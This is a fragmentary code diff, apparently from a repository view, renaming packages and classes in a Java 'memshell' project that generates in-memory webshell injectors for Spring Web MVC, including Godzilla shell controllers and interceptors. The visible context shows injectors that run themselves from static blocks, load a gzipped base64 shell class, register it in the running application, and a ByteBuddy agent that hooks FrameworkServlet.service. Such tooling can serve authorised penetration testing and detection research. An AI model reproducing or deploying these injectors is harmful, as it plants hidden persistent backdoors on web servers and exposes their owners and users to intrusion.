import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.springmvc.godzilla;
|
package com.reajason.javaweb.memshell.springwebmvc.godzilla;
|
||||||
|
|
||||||
import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
import org.springframework.web.servlet.mvc.Controller;
|
import org.springframework.web.servlet.mvc.Controller;
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.springmvc.godzilla;
|
package com.reajason.javaweb.memshell.springwebmvc.godzilla;
|
||||||
|
|
||||||
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||||
import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.springmvc.godzilla;
|
package com.reajason.javaweb.memshell.springwebmvc.godzilla;
|
||||||
|
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
+4
-4
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.springmvc.injector;
|
package com.reajason.javaweb.memshell.springwebmvc.injector;
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
@@ -14,10 +14,10 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/22
|
* @since 2024/12/22
|
||||||
*/
|
*/
|
||||||
public class SpringControllerHandlerInjector {
|
public class SpringWebMvcControllerHandlerInjector {
|
||||||
|
|
||||||
static {
|
static {
|
||||||
new SpringControllerHandlerInjector();
|
new SpringWebMvcControllerHandlerInjector();
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
@@ -32,7 +32,7 @@ public class SpringControllerHandlerInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public SpringControllerHandlerInjector() {
|
public SpringWebMvcControllerHandlerInjector() {
|
||||||
try {
|
try {
|
||||||
Object context = getContext();
|
Object context = getContext();
|
||||||
Object interceptor = getShell();
|
Object interceptor = getShell();
|
||||||
+3
-3
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.springmvc.injector;
|
package com.reajason.javaweb.memshell.springwebmvc.injector;
|
||||||
|
|
||||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
@@ -16,7 +16,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/28
|
* @since 2024/12/28
|
||||||
*/
|
*/
|
||||||
public class SpringFrameworkServletAgentInjector implements AgentBuilder.Transformer {
|
public class SpringWebMvcFrameworkServletAgentInjector implements AgentBuilder.Transformer {
|
||||||
|
|
||||||
static Class<?> interceptorClass = null;
|
static Class<?> interceptorClass = null;
|
||||||
|
|
||||||
@@ -57,7 +57,7 @@ public class SpringFrameworkServletAgentInjector implements AgentBuilder.Transfo
|
|||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||||
.type(named("org.springframework.web.servlet.FrameworkServlet"))
|
.type(named("org.springframework.web.servlet.FrameworkServlet"))
|
||||||
.transform(new SpringFrameworkServletAgentInjector())
|
.transform(new SpringWebMvcFrameworkServletAgentInjector())
|
||||||
.installOn(inst);
|
.installOn(inst);
|
||||||
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
|
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
|
||||||
}
|
}
|
||||||
+4
-4
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.springmvc.injector;
|
package com.reajason.javaweb.memshell.springwebmvc.injector;
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
@@ -14,10 +14,10 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/22
|
* @since 2024/12/22
|
||||||
*/
|
*/
|
||||||
public class SpringInterceptorInjector {
|
public class SpringWebMvcInterceptorInjector {
|
||||||
|
|
||||||
static {
|
static {
|
||||||
new SpringInterceptorInjector();
|
new SpringWebMvcInterceptorInjector();
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
@@ -32,7 +32,7 @@ public class SpringInterceptorInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public SpringInterceptorInjector() {
|
public SpringWebMvcInterceptorInjector() {
|
||||||
try {
|
try {
|
||||||
Object context = getContext();
|
Object context = getContext();
|
||||||
Object interceptor = getShell();
|
Object interceptor = getShell();
|
||||||
Reference in New Issue
Block a user